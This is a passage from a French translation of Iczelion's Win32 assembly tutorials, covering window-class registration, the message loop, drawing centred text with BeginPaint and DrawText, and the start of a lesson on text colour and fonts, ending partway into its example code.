La susdite ligne est la déclaration de la fonction WinMain. Notez l'ensemble des paramètres qui suivent la directive PROC. Ce sont les paramètres que WinMain reçoit de la fonction qui l'appelle. Vous pouvez utiliser les noms de ces paramètres au lieu de vous servir de la pile pour pousser la valeurs de vos paramètres.

LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND

La directive LOCAL alloue de la mémoire sur la pile pour des variables locales employées par la fonction. La totalité des directives LOCALES doivent être placées juste au-dessous de la directive PROC. La directive LOCAL est immédiatement suivie par " le nom de la variable locale " ; " le type de variable ". Et donc 'LOCAL wc:WNDCLASSEX' dit à MASM de réserver de la mémoire sur la pile. Nous pourrons ensuite nous référer à wc dans notre code sans aucune difficulté engendrée par la manipulation de la pile. C'est vraiment une aubaine, je pense. Le revers de la médaille c'est que les variables locales ne peuvent pas être employées à l'extérieur de la fonction, elles sont créés et seront automatiquement détruites quand la fonction retourne à l'appel. L'autre inconvénient c'est que vous ne pouvez pas initialiser des variables locales automatiquement parce qu'elles sont uniquement allouées dans la mémoire de la pile au moment seulement où on entre dans la fonction. Vous devez les assigner manuellement avec les valeurs désirées après les directives 'LOCAL'.

mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc

Les lignes ci-dessus sont vraiment simples par leur concept. Il s'agit juste de plusieurs lignes d'instruction regroupées. Le concept qui se cache derrière toutes ces lignes c'est d'initialiser la Windows class. Une 'Windows Class' n'est rien de plus que la première ébauche d'une fenêtre. On définit donc plusieurs caractéristiques importantes d'une fenêtre comme son icône, son curseur, la fonction qui la contrôle, sa couleur etc. Vous définissez la fenêtre grâce à sa 'Windows Class'. C'est en quelque sorte le but de ce concept. Si vous voulez créer plusieurs fenêtres avec les mêmes caractéristiques, il serait temps de penser à stocker toutes ces caractéristiques dans un unique endroit (donc dans une procédure par exemple) et de s'y référer quand c'est nécessaire. Cet arrangement économisera pas mal de mémoire en évitant la duplication d'informations. Windows doit être très efficaces dans l'utilisation des ressources mémoires, qui restent encore rares.
Faisons le point : Dès que vous définissez votre propre fenêtre, vous devez définir ses caractéristiques grâce à l'instruction WNDCLASS ou WNDCLASSEX et ensuite appeler RegisterClass ou RegisterClassEx avant que vous ne soyez capables de créer votre fenêtre. Vous devrez donner une 'Windows Class' pour chaque type de fenêtre que vous voulez créer.
Windows possède plusieurs 'Windows Class' déjà prédéterminées, comme les boutons et la boîte d'édition (pour entrer un texte). Pour ces fenêtres (ou ces Controls), vous n'avez pas besoin de déclarer une 'Windows Class', appelez juste CreateWindowEx avec le nom de classe prédéterminée.
L'élément le plus important de WNDCLASSEX est lpfnWndProc. Lpfn attend un 'Pointeur Long' pour fonctionner. Sous Win32, il n'y a pas de Pointeur(proche) ou de Pointeur(lointain), mais un simple Pointeur grâce au nouveau modèle de mémoire Flat(PLAT). Mais c'est encore un reste des vieux jours de Win16. Chaque 'Windows Class' doit être associée à une procédure appelée par Windows. La procédure qui sert à créer vos fenêtres sera responsable du traitement de chaque message associée à la Windows Class. Les fenêtres enverront des messages vers la procédure qui les gère pour lui notifier quels événements importants sont utilisés par ces fenêtres, comme l'utilisation du clavier ou de la souris. Il ne reste plus à la procédure (qui s'occupe de la gestion des fenêtres) qu'à répondre intelligemment à chaque message qu'elle reçoit (Ex le fait de bouger la souris envoie un message dans cette procédure pour qu'on puisse en faire qque chose d'intéressant etc..). La plupart du temps vous écrirez des enchaînements d'événements dans cette procédure.
Ci-dessous, Je vous détaille la construction de la fonction WNDCLASSEX:

WNDCLASSEX STRUCT DWORD
cbSize DWORD ?
style DWORD ?
lpfnWndProc DWORD ?
cbClsExtra DWORD ?
cbWndExtra DWORD ?
hInstance DWORD ?
hIcon DWORD ?
hCursor DWORD ?
hbrBackground DWORD ?
lpszMenuName DWORD ?
lpszClassName DWORD ?
hIconSm DWORD ?
WNDCLASSEX ENDS

cbSize: La taille en octets de la structure WNDCLASSEX. Nous pouvons employer l'opérateur SIZEOF pour obtenir (initialiser) cette valeur.
style: Le style (ou le type) de fenêtre créée pour cette 'Class'. Vous pouvez combiner plusieurs types ensembles en employant l'opérateur "or".
lpfnWndProc: L'adresse de la procédure responsable de la gestion des fenêtres créées dans cette 'Class'.
cbClsExtra: Indique le nombre d'octets supplémentaires à allouer en fonction de la structure(ses éléments) de la Windows Class choisie. Le système d'exploitation initialise les octets à zéro. Vous pouvez stocker des données spécifiques à la Windows Class ici.
cbWndExtra: Indique le nombre d'octets supplémentaires à allouer en fonction de la 'Windows Instance'. Le système d'exploitation initialise les octets à zéro.
hInstance: l'Instance Handle de ce module (de votre prog).
hIcon: Handle de l'icône. Obtenez-le après l'appel de 'LoadIcon' (ou en retour de l'appel de 'LoadIcon').
hCursor: Handle du curseur. Obtenez-le près l'appel de 'LoadCursor'.
hbrBackground: Couleur du fond de toutes les fenêtres créées dans cette 'Class'.
lpszMenuName: L'Handle du menu des fenêtres créées par cette 'Class'. C'est une valeur par défaut.
lpszClassName: Le nom de cette 'Class'.
hIconSm: L'Handle d'une petite icône associée à cette 'Class' de fenêtres. Si cette valeur est un NULL, le système recherche dans la 'ressource d'icône' indiquée par le membre hIcon, une icône de la taille appropriée sera employée en tant que petite icône.

invoke CreateWindowEx, NULL,\
ADDR ClassName,\
ADDR AppName,\
WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
NULL,\
NULL,\
hInst,\
NULL

Après l'enregistrement de la Window Class, nous pouvons appeler CreateWindowEx pour créer notre fenêtre basée sur la Window Class ainsi définie. Remarquez qu'il y a 12 paramètres à cette fonction, beuurr ! ! !

CreateWindowExA proto dwExStyle:DWORD,\
lpClassName:DWORD,\
lpWindowName:DWORD,\
dwStyle:DWORD,\
X:DWORD,\
Y:DWORD,\
nWidth:DWORD,\
nHeight:DWORD,\
hWndParent:DWORD ,\
hMenu:DWORD,\
hInstance:DWORD,\
lpParam:DWORD

On va voir la description détaillée de chaque paramètre :
dwExStyle: Styles de fenêtre supplémentaires. C'est le nouveau paramètre qui est ajouté à la vieille fonction 'CreateWindow'. Vous pouvez mettre des nouveaux styles de fenêtre pour Windows 95 & NT ici. En temps normal, vous pouvez spécifier votre style de fenêtre ordinaire dans dwStyle, mais si vous voulez certains styles spéciaux pour une fenêtre 'tip top', vous devez les spécifier ici. Vous devez employer un NULL(un 0) si vous ne voulez pas de styles de fenêtre supplémentaires.
lpClassName: (obligatoire).L'adresse de la chaîne de caractères ASCII contenant le nom de la Window Class que vous voulez employer en tant que gabarit pour cette fenêtre. La Class peut être votre propre Class que vous venez de créer ou bien une Window Class prédéterminée. Comme exposé ci-dessus, chaque fenêtre que vous avez créée doit être basée sur une Window Class. (Normal ! , puisque la Window Class sert justement à définir les propriétés de la fenêtre à créer)
lpWindowName: Adresse de la chaîne de caractères ASCII contenant le nom de la fenêtre. Ce sera en fait le titre de la fenêtre (en haut à gauche). Si ce paramètre est NULL, la barre de titre de la fenêtre sera vide.
dwStyle: C'est le style de la fenêtre. Vous pouvez spécifier ici l'apparition de la fenêtre. Mettez un NULL pour ce paramètre dwSTYLE est possible mais la fenêtre n'aurait aucun menu, n'aurait pas de boutons de réduction-agrandissement ni aucun autre bouton. La fenêtre n'aurait pas beaucoup d'intérêt. Vous devrez même appuyer sur Alt+F4 pour la refermer. Le style de fenêtre le plus commun est le paramètre 'WS_OVERLAPPEDWINDOW' (et non pas le paramètre NULL). Ainsi vous pouvez combiner plusieurs styles de fenêtre grâce à l'opérateur "OR" pour faire apparaître la fenêtre que vous désirez. Le style WS_OVERLAPPEDWINDOW est en réalité une combinaison des styles de fenêtres les plus communs.
X,Y: C'est la coordonnée du coin supérieur gauche de la fenêtre. Normalement on prend le paramètre CW_USEDEFAULT comme valeur, comme ça Windows décidera pour vous où placer la fenêtre sur le bureau.
nWidth, nHeight: Ce sont les largeur et hauteur de la fenêtre en pixels. Vous pouvez aussi employer CW_USEDEFAULT pour laisser Windows choisir la largeur appropriée et la hauteur à votre place.
hWndParent: C'est l'Handle de la fenêtre parente de votre fenêtre (si celle-ci existe). Ce paramètre indique à Windows si cette fenêtre est un enfant (Window Child) d'une autre fenêtre et, si elle l'est, qui est la fenêtre parente. Notez que ce n'est pas la même relation Parent-Enfant que les 'multiple document interface' ou (MDI). Les 'Window Child' n'ont pas forcément les mêmes caractéristiques que leur 'Window Parent'. Ces caractéristiques sont uniquement spécifiques à l'utilisation interne de chaque fenêtre. Si la fenêtre parente est détruite, toutes ses fenêtres enfant seront détruites automatiquement. C'est vraiment très simple. Dans notre exemple, il y a seulement une fenêtre, donc ce paramètre reste NULL.
hMenu: C'est l'Handle du menu de la fenêtre. Il est NULL si la Class Menu est utilisée. Revenez en arrière à un des membres de l'instruction WNDCLASSEX, soit 'lpszMenuName'. lpszMenuName indique le menu par *default* pour la 'Window Class'. Chaque fenêtre de cette Window Class aura le même menu par défaut. À moins que vous ne spécifiiez un menu *overriding* pour une fenêtre spécifique via son paramètre hMenu. hMenu est en réalité un paramètre à double usage. Si la fenêtre que vous souhaitez créer utilise un 'Type de Fenêtre' (Style) prédéterminé (c'est-à-dire un Control), un tel Control ne peut pas posséder de menu. hMenu est employé comme ID de ce Control au lieu de cela. Windows peut décider si hMenu est vraiment un Handle de menu ou un Control ID en regardant le paramètre lpClassName. Si c'est le nom d'une Window Class prédéterminée, hMenu est un Control ID. Si ce n'est pas, ce sera alors l' Handle du menu de votre fenêtre.
hInstance: l'Instance Handle pour le module (la partie) du programme créant la fenêtre.
lpParam: Le pointeur facultatif pour des données a passer à la fenêtre. Il est employé par la fenêtre MDI pour passer les données CLIENTCREATESTRUCT. Normalement, cette valeur est mise au NULL, signifiant que l'on ne passe aucunes données via CreateWindow (). La fenêtre peut prendre la valeur de ce paramètre après l'appel à la fonction GetWindowLong.

mov hwnd,eax
invoke ShowWindow, hwnd,CmdShow
invoke UpdateWindow, hwnd

Après un retour couronné de succès de la fonction CreateWindowEx, l'Handle de la fenêtre est placée dans eax. Nous devons garder cette valeur pour une utilisation future. La fenêtre que nous venons de créer n'est pas automatiquement affichée. Vous devez appeler 'ShowWindow' avec l'Handle de fenêtre et la *résolution*(affichage) désirée de la fenêtre pour la faire apparaître à l'écran. Ensuite vous pourrez appeler 'UpdateWindow' pour ordonner à votre fenêtre de rafraîchir son secteur de client (de réactualiser son contenu). Cette fonction est utile à chaque fois que vous voulez mettre à jour le contenu du secteur client. Vous pouvez omettre cet appel quoique.

.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW

Cette fois-ci, notre fenêtre est sur l'écran. Mais elle ne peut pas recevoir d'informations extérieures (comme une saisie de texte ou bien la détection de la pression d'un bouton). Donc nous devons l'informer de ce qui se passe. Nous faisons ça avec une boucle de messages. Il y a seulement une et une seule boucle de message pour chaque module (programme). Cette boucle de message vérifie continuellement les messages de Windows grâce à un 'Call GetMessage'. GetMessage passe une donnée à une structure de MESSAGE de Windows. Cette structure de MESSAGE sera remplie par une information de type message (WM_.....) que Windows pourra renvoyer vers une des ses fenêtre ou objet dans le module (programme). La fonction GetMessage ne retournera pas (ne reviendra pas à votre programme mais au contraire restera dans Kernel ou User) tant qu'un message (ex : appui sur un bouton) ne sera pas transmis à une fenêtre dans le module. Pendant ce temps-là, Windows peut donner le contrôle à d'autres programmes. En quelque sorte c'est un peu l'équivalent du fonctionnement Multigestion de la plate-forme Win16. GetMessage renverra une erreur si le Message WM_QUIT est reçu dans la boucle de messages, et ainsi nous termineront la boucle et irons vers la sortie du programme.
TranslateMessage est une fonction utile qui saisie les entrées du clavier (à la volée) et produit un nouveau Message WM_CHAR qui est placé sur la file d'attente des messages. Le message associé à WM_CHAR contient la valeur ASCII pour la touche pressée, c'est bien plus facile de procéder ainsi. Vous pouvez omettre cet appel si votre programme ne traite pas de frappes.
'DispatchMessage' redirige les données d'un message( ex : envoi : on vient d'appuyer sur le bouton) à la procédure responsable de la fenêtre spécifique.

mov eax,msg.wParam
ret
WinMain endp

Si la boucle de messages se termine, le code de sortie est stocké dans le membre wParam de la structure de message MSG. Vous pouvez stocker ce code de sortie dans eax pour le retourner à Windows. Actuellement, Windows ne se sert pas de la valeur de retour, mais c'est mieux de respecter les règles.

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

C'est notre procédure Win. Vous ne devez pas la nommer WndProc. Le premier paramètre, hWnd, est l' Handle de la fenêtre pour laquelle le message est destiné. uMsg est le message. Notez qu'uMsg ne repésente pas une structure de message. C'est juste un numéro(nombre). Windows définit des centaines de messages, dont la plupart ne seront pas intéressants pour vos programmes. Windows enverra un message approprié à une fenêtre seulement si quelque chose d'intéressant arrive à cette fenêtre. La procédure qui traite vos fenêtres reçoit le message et y réagit intelligemment. wParam et lParam sont juste des paramètres supplémentaires pour l'utilisation de certains messages. Certains messages envoient des données d'accompagnement en plus du message lui-même. On passe ces données à la procédure de fenêtre au moyen de lParam et wParam.

.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

Vient ici la partie cruciale. C'est l'endroit où la plupart de l'intelligence de votre programme réside. Les codes qui répondent à chaque message de Windows sont dans la procédure de fenêtre (la procédure qui s'occupe du contrôle de votre fenêtre). Votre code doit vérifier le message de Windows pour voir si c'est un message intéressant. Si s'en est un, alors vous pouvez faire ce que vous souhaitez en réponse à ce message puis retourner la valeur zéro dans eax. Si le message n'a aucun intérêt pour vous, alors vous DEVEZ appeler l'API 'DefWindowProc', elle sert traiter par défaut (elle-même) les message inintéressant. 'DefWindowProc' est une fonction API qui traite tous les messages qui ne sont pas intéressant pour votre programme.
Le seul message que vous pouvez et DEVEZ envoyer vers votre procédure qui traite les messages est WM_DESTROY. Ce message est envoyé à votre procédure de fenêtre pour la refermée. Au moment où votre procédure de fenêtre reçoit ce message, votre fenêtre est déjà enlevée de l'écran. C'est juste un renseignement comme quoi votre fenêtre a bien été détruite, vous devez vous préparer à retourner à Windows. Si vous utilisez cela, vous n'avez d'autres choix que de quitter. Si vous voulez avoir une chance d'arrêter la fermeture de votre fenêtre, vous devez utiliser le message WM_CLOSE. Maintenant revenons à WM_DESTROY, après cette fermeture radicale, vous devez appeler PostQuitMessage qui postera WM_QUIT en retour, à votre module(traitement des message). WM_QUIT fera le retour de GetMessage avec la valeur zéro dans eax, qui à son tour, terminera la boucle des messages et quittera Windows. Vous pouvez envoyer le message WM_DESTROY à votre propre procédure de fenêtre en appelant la fonction DestroyWindow.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 4: Painting with Text

Tutorial 4: Dessiner du texte
(Painting with Text)

Dans ce tutorial, nous apprendrons comment "dessiner" un texte dans 'le secteur client' (la zone de travail) d'une fenêtre. Nous verrons aussi tout le contexte autour de cette fonction. Vous pouvez télécharger le code source ici.

Théorie:

Le texte dans Windows est un type d'objet appartenant au GUI (NdT : Graphic User Interface). Chaque caractère est composé de plusieurs pixels (les points) qui sont regroupés dans un ordre particulier. C'est pourquoi on peut appeler "painting" au lieu de writting". Normalement, vous dessinez du texte à lintérieur de votre propre secteur client (cependant, il est également possible de dessiner en dehors du secteur client mais c'est une autre histoire). L'affichage du texte sur l'écran sous Windows diffère résolument du DOS. Sous DOS, la dimension de l'écran est 80x25. Mais sous Windows, l'écran est partagé par plusieurs programmes. Des règles doivent être prises pour éviter que certains programmes s'affichent par dessus d'autres programmes. Windows contrôle ceci en limitant le dessin du secteur de chaque fenêtre à son propre secteur client seulement. La taille du secteur client d'une fenêtre n'est pas complètement rigide. L'utilisateur peut en effet changer sa taille à tout moment. Donc vous devez déterminer les dimensions de votre propre secteur client.
Avant que vous ne puissiez dessiner quelque chose sur le secteur client, vous devez demander la permission à Windows. C'est ça, vous n'avez pas le contrôle total de l'écran comme si vous étiez sous DOS. Vous devez demander à Windows la permission de dessiner dans votre propre secteur client. Windows déterminera la taille de votre secteur client, la taille des caractères, les couleurs et les autres GDI attribués et ensuite renvoie à votre programme l'Handle du 'contexte périférique' (de tout ça). Vous pourrez alors employer le 'contexte de périférique' comme un passeport (un ayant droit) pour dessiner sur votre 'secteur client'.
C'est quoi le 'contexte de prériférique' ? C'est juste une structure de données conçue à intérieure de Windows (pas accessible pour nous). Un 'contexte de prériférique' est associé à un prériférique particulier, comme une imprimante ou l'affichage vidéo. Pour un affichage vidéo, un contexte de prériférique est habituellement associé à une fenêtre particulière en exposition.
Quelques-unes des valeurs appartenant au contexte de prériférique sont des attributs graphiques, comme les couleurs, la font etc. Ce sont des valeurs par défaut que vous pouvez changer à volonté. Il est possible pour réduire la charge de travail en spécifiant ces attributs dans chaque appel de fonction GDI.
Vous pouvez vous représenter un 'contexte de prériférique' comme un 'environnement par défaut' mis à votre disposition par Windows. Vous pouvez ne pas tenir compte de certains éléments par défaut puis y revenir plus tard si vous le souhaitez.
Quand un programme a besoin de dessiner, il doit obtenir un 'Handle de contexte de prériférique'. Normalement, il y a plusieurs façons de l'obtenir.
    Appelez BeginPaint en réponse au message WM_PAINT.
    Appelez GetDC en réponse à d'autres messages.
    Appelez CreateDC pour créer votre propre contexte de prériférique.
Rappeler vous une chose, après avoir obtenu un 'Handle de contexte de prériférique', vous devez vous en servir au moment du traitement d'un simple message. Ne récupérez pas un Handle en réponse à un message, transférez-le en réponse à un autre message.
Windows envoie des messages WM_PAINT à une fenêtre pour lui indiquer qu'il est maintenant temps de repeindre son secteur client. Windows ne sauve pas le contenu du secteur client de la fenêtre, mais au lieu de cela, quand une situation arrive et garantit une nouvelle peinture du secteur client (comme quand une fenêtre a été couverte par une autre et vient la recouvrir), Windows met le message WM_PAINT dans la file d'attente des messages de cette fenêtre. C'est à cette fenêtre de repeindre son propre secteur client. Vous devez réunir toutes les informations qui servent à redessiner votre secteur client dans la section WM_PAINT de votre procédure de fenêtre, ainsi la procédure de fenêtre (la procédure qui gère l'affichage et le comportement de votre fenêtre) pourra redessiner le secteur client quand le message WM_PAINT arrivera.
Un autre concept que vous devez prendre en compte est une petite zone rectangle. Windows définit un rectangle invalide comme le plus petit secteur rectangulaire dans le secteur client ayant besoin d'être redessiner (rafraîchi) . Quand Windows détecte un rectangle invalide (non rafraîchit) dans le secteur client d'une fenêtre, il envoie le message WM_PAINT à cette fenêtre. En réponse à ce message WM_PAINT, la fenêtre peut obtenir une structure 'Paintstruct' qui contient, entre autre, les coordonnées du rectangle invalide. Vous appelez 'BeginPaint' en réponse au message WM_PAINT pour actualiser le rectangle invalide. Si vous ne traitez pas le message WM_PAINT, alors vous devez appeler DefWindowProc ou ValidateRect pour valider (actualiser) le rectangle invalide sinon à plusieurs reprises Windows vous enverra le message WM_PAINT. Laissez tombé ça, c'est trop confus.
Voici ci-dessous les étapes que vous devez exécuter en réponse à un message WM_PAINT :
    Obtenez l' 'handle du contexte de prériférique' avec BeginPaint.
    Repeignez le secteur client (la zone de travail de votre fenêtre).
    Libérez l' 'handle du contexte de prériférique' avec EndPaint.
Notez que vous ne devez pas explicitement valider le rectangle invalide. C'est le Call BeginPaint qui s'en occupe automatiquement. Entre la paire BeginPaint-Endpaint, vous pouvez appeler n'importe quelles fonctions du GDI pour redessiner votre secteur client. Presque tous exigent l' 'handle du contexte de prériférique' en tant que paramètre.

Contenu:

Nous allons écrire un programme qui fait apparaître le texte " Win32 assembly is great and easy!" au le centre du secteur client.
.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
OurText db "Win32 assembly is great and easy!",0

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.CODE
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT
LOCAL rect:RECT
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke GetClientRect,hWnd, ADDR rect
invoke DrawText, hdc,ADDR OurText,-1, ADDR rect, \
DT_SINGLELINE or DT_CENTER or DT_VCENTER
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax, eax
ret
WndProc endp
end start

Analyse:

Le code dans sa grande majorité est le même que celui de l'exemple du Tutorial 3. J'expliquerai donc seulement les changements importants.

LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT
LOCAL rect:RECT

Voici les variables locales qui sont employées par des fonctions du GDI dans notre section WM_PAINT. 'Hdc' est employé pour stocker l'handle du contexte de prériférique renvoyé après l'appel de la fonction BeginPaint. On définit 'ps' comme étant une structure PAINTSTRUCT. Normalement ce n'est pas vous qui remplissez 'ps' avec des valeurs. On passera 'ps' à la fonction BeginPaint et c'est Windows la remplira avec les veleurs appropriées. De la même façon, vous passez 'ps' à la fonction EndPaint quand vous finissez de redessiner le secteur client. 'rect' est employé comme structure RECT définie comme suit :

RECT Struct
left LONG ?
top LONG ?
right LONG ?
bottom LONG ?
RECT ends
Left et top sont les coordonnées du coin supérieur gauche d'un rectangle right and bottom sont les coordonnées du coin inférieur droit. Une chose à se souvenir : l'origine des axes x-y est au coin supérieur gauche du secteur client. Donc le point y=10 est AU-DESSOUS du point y=0.

invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke GetClientRect,hWnd, ADDR rect
invoke DrawText, hdc,ADDR OurText,-1, ADDR rect, DT_SINGLELINE or DT_CENTER or DT_VCENTER
invoke EndPaint,hWnd, ADDR ps

En réponse au message WM_PAINT, vous appelez BeginPaint avec la structure PAINTSTRUCT non initialisée et l'handle de la fenêtre que vous souhaitez redessiner, en tant que paramètres. Après un CALL couronné de succès, eax contient l'Handle du contexte de prériférique. Ensuite vous appelez GetClientRect pour retrouver la dimension du secteur client. La dimension est renvoyée dans la variable rect que vous passez à DrawText comme un de ses paramètres. La syntaxe de DrawText est :

DrawText proto hdc:HDC, lpString:DWORD, nCount:DWORD, lpRect:DWORD, uFormat:DWORD

La fonction de l'API de haut niveau DrawText est d'afficher un texte. Il manipule quelques renseignements peu communs tels que le 'word wrap' (l'enveloppe autour des mots), ou le 'centering' (l'allignement au centre) etc… que vous pouvez ensuite appliquez sur le texte que vous souhaitez dessiner. Son équivalent de bas niveau, l'API TextOut, sera examinée dans le Tutorial suivant. DrawText définit un texte pour qu'il loge dans les limites d'un rectangle. Il emploie la fonte (la taille, la police) actuellement choisie, la couleur et le fond (dans le contexte de prériférique) pour dessiner le texte. Les lignes sont encadrées pour rester dans les limites du rectangle. Il renvoie la hauteur du texte produit dans les unités du prériférique, qui dans notre cas sont en pixels. Regardons de plus près ces paramètres :

    hdc est l'handle du contexte de prériférique
    lpString est le pointeur de la chaîne de caractères que vous voulez dessiner dans le rectangle. Cette chaîne de caractères doit être terminée par un NULL (0) sinon avec l'autre méthode vous devez spécifier sa longueur dans le paramètre suivant, nCount.
    nCount est le nombre de caractères à afficher. Si la chaîne de caractères est terminée par un NULL (cas précédent), nCount doit être mis à -1. Autrement nCount doit contenir le nombre de caractères de la chaîne que vous voulez dessiner.
    lpRect est le pointeur du rectangle (de l'objet de type RECT) que vous voulez dessiner contenant la chaîne de caractères. Notez que ce rectangle est aussi un rectangle de coupure, c'est-à-dire que vous ne pouvez pas dessiner le texte à l'extérieur de ce rectangle.
    uFormat est la valeur qui indique comment la chaîne de caractères est insérée dans le rectangle. Nous employons trois valeurs combinées par l'opérateur "or" :
    • DT_SINGLELINE indique une simple (une unique) ligne de texte.
    • DT_CENTER centre le texte horizontallement.
    • DT_VCENTER centre le texte verticalement. Il doit être employé avec DT_SINGLELINE.
Après que vous ayez fini de redessiner le secteur client, vous devez appeler la fonction EndPaint pour libérer l'handle du contexte de prériférique.
Voilà. Nous pouvons récapituler les points importants:
  • On appelle la paire BeginPaint - EndPaint en réponse au message WM_PAINT.
  • Faites tout ce que vous voulez dans le secteur client entre les appels BeginPaint et EndPaint.
  • Si vous voulez redessiner (rafraichir) votre secteur client en réponse à d'autres messages, vous avez deux choix :
    (Si il y a une communication entre l'ordi et vous et que vous n'êtes pas en mode texte mais en mode Painting, vous avez deux choix)
    • Employez la paire GetDC - ReleaseDC et faîtes votre 'painting' entre ces 2 appels.
    • Appelez InvalidateRect ou UpdateWindow; pour préserver le secteur client entier de toute écriture, forçant ainsi Windows à renvoyer le message WM_PAINT dans la file d'attente des messages de votre fenêtre et éffectuez vos actions de rafraîchissement (de redessiner) dans la section WM_PAINT.
[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 5: More about Text

Tutorial 5: Encore plus
A propos des Textes

Allons plus loin avec les attributs de texte, c'est-à-dire. La fonte (Fonte = Assortissement complet de caractères de même type) et la couleur.

Downloadez le fichier en exemple ici.

Théorie:

Le système de couleur de Windows est basé sur le système RGB, R=red, G=Green, B=Blue. Si vous souhaitez définir une couleur dans Windows, vous devez exprimer votre couleur recherchée en combinant ces trois couleurs principales. Chaque plage de couleur (R,G, ou B) a une gamme de 0 à 255 (valeur exprimée en octet). Par exemple, si vous voulez la couleur rouge pur, vous devez employer 255,0,0. Ou si vous voulez la couleur blanc pur, vous devez employer 255,255,255. Vous verrez en expérimentant, qu'obtenir la couleur dont vous avez besoin est très difficile avec ce système puisque vous devez avoir un bon 'felling' pour mélanger les couleurs correspondantes.
Pour la couleur du texte et du fond, vous employez SetTextColor et SetBkColor, tous deux exigent l'handle du contexte de périférique et une valeur RGB sur 32 bits. La structure de la valeur 32 bits RGB est définie ainsi :

RGB_value struct
unused db 0
blue db ?
green db ?
red db ?
RGB_value ends

Notez que le premier octet n'est pas utilisé et doit être à zéro. L'ordre des trois octets restant est inversé, il s'agit du Bleu, vert, rouge (et non pas RGB). Cependant, nous n'emploierons pas cette structure puisque elle est encombrante à initialiser et à employer. Nous créerons une macro à la place. La macro recevra trois paramètres : les valeurs rouges, vertes et bleues. Ceci produira la valeur RGB désirée, et le stockera sur 32 bits dans eax. La macro est la suivante :

RGB macro red,green,blue
xor eax,eax
mov ah,blue
shl eax,8
mov ah,green
mov al,red
endm

Vous pouvez mettre cette macro dans le fichier INCLUDE pour une utilisation future.
Vous pouvez "créer" une fonte en appelant CreateFont ou CreateFontIndirect. La différence entre ces deux fonctions est que CreateFontIndirect reçoit seulement un paramètre : 'un indicateur logique sur la structure de la fonte', à savoir : LOGFONT. CreateFontIndirect est la plus flexible des deux, en particulier si vos programmes ont besoin de changer fréquemment de fontes. Cependant, dans notre exemple, nous "créerons" une seule fonte pour la démonstration, nous échapperons donc à CreateFont. Après l'appel de CreateFont, il renverra l'handle d'une fonte que vous devez choisir dans le contexte de périférique. Après cela, chaque texte affiché par la fonction API (Paint) emploiera la fonte que nous avons choisie dans le contexte de périférique.

Contenu:

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib

RGB macro red,green,blue
xor eax,eax
mov ah,blue
shl eax,8
mov ah,green
mov al,red
endm

.data
